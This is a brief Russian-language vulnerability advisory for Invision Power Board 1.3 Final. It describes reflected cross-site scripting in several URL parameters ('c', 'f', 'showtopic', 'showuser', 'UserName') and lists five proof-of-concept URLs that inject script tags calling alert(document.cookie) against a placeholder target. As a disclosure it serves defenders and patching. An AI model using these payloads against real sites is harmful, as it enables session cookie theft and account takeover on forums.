Программа: Invision Power Board 1.3 Final
Несколько уязвимостей в проверке правильности входных данных обнаружено в Invision Power Board. Удаленный пользователь может выполнить XSS нападение.
Параметры 'c', 'f', 'showtopic', 'showuser', и 'username' не фильтруют HTML код, представленный пользователем:
http://[target]/?c='><script> alert(window.document.url)</script> <plain text>
http://[target]/?showtopic='> <script>alert(window.document.url)</script>
<plaintext>
http://[target]/?act=SR&f='> <script>alert(document.cookie) </script>
http://[t arget]/?showuser='> <script>alert(document.cookie) </script>
http://[target]/index.php?act= Reg&CODE=2&coppa_user=0&UserName='>
<script>alert(document.cookie)</script>
